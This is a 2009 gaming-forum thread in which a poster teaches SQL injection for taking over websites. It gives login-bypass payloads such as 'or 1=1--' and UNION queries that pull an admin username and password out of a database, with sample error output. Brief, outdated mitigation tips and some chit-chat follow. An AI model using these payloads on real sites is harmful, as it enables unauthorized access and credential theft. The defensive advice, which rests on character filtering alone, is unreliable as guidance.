Post: SQL Injection
08-07-2009, 02:56 PM #1
Zero Thunder
Climbing up the ladder
(adsbygoogle = window.adsbygoogle || []).push({}); Now you may want to ask why did i do this? i'm tired of all these noobs posting stupid dum websites with half up there ass coders on visual basic that they think they made a doser or whatever and they say " Im S0 l33t pl0x Ima dos Google" And finally they stop the doser and then go to google and they find it wont load... and what they really dont know is that they crashed there own internet with UDP Flood... Know a real way to take over a site is what is called a SQL Injection Know I will be showing you the bases of it..

What Is a SQL Injection?


SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.

Examples And How it Works


This Works on pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM> Or

You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:

You must login or register to view this content.


How to Check If they are vunerable


Start with a single quote trick. Input something like:

hi' or 1=1--

Into login, or password, or even in the URL. Example:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- You must login or register to view this content.' or 1=1--
But this Most Likely will not work because most sites are now more up to date with SQL Injections

[COLOR="Redwhy ' or 1=1--"][/COLOR]


Take an asp page that will link you to another page with the following URL:

You must login or register to view this content.

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory='food'

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.

Now, assume that we change the URL into something like this:

You must login or register to view this content.' or 1=1--

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('Winky Winky. Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

The SQL query will now become:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
'Winky Winky or ('a'='a

How to get Data


Now once you're in the site you will have access to everything an Admin will have
Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.

Now, let's get the first login_name from the "admin_login" table:

You must login or register to view this content. UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:

You must login or register to view this content. UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

We can now login as "neo" with his password "m4trix".

How to Avoid SQL Injections


Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:
- Input from users
- Parameters from URL
- Values from cookie

For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.

Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.

Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

PS: This was ment for Educational perpusos Only And don't even try SQL Injections On this Website Vbulletin 3.8.1 Is bullet Proof Agienst SQL Injections
08-07-2009, 03:32 PM #2
This has already been posted on here bro...sorry

No hard feelings about last time?
08-07-2009, 03:41 PM #3
Zero Thunder
Climbing up the ladder
Ye its ok im sorry i didn't know this was posted i'll keep it up for a while to see if people want it by the way you got msn , aim?
08-08-2009, 06:27 AM #4
umm i have
2 Gmail
1 Aim
3 Yahoo
3 Mail.com
1 rocketmail
Why?
08-08-2009, 01:56 PM #5
Zero Thunder
Climbing up the ladder
na just asking
08-08-2009, 02:06 PM #6
Shadow_Killer
UnderCover Adrninistrator
Originally posted by XxpunisherXx View Post
na just asking


lol then what was the point of asking if u dont want it?
08-08-2009, 02:40 PM #7
Zero Thunder
Climbing up the ladder
Why does it matter i just wanted to know if he has one lmfao..
08-09-2009, 02:49 AM #8
Ha Ha Ha i love your sig
08-09-2009, 11:53 PM #9
Zero Thunder
Climbing up the ladder
Ye thanks lol
08-10-2009, 10:00 PM #10
Add me: [email][email protected][/email]

Copyright © 2024, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo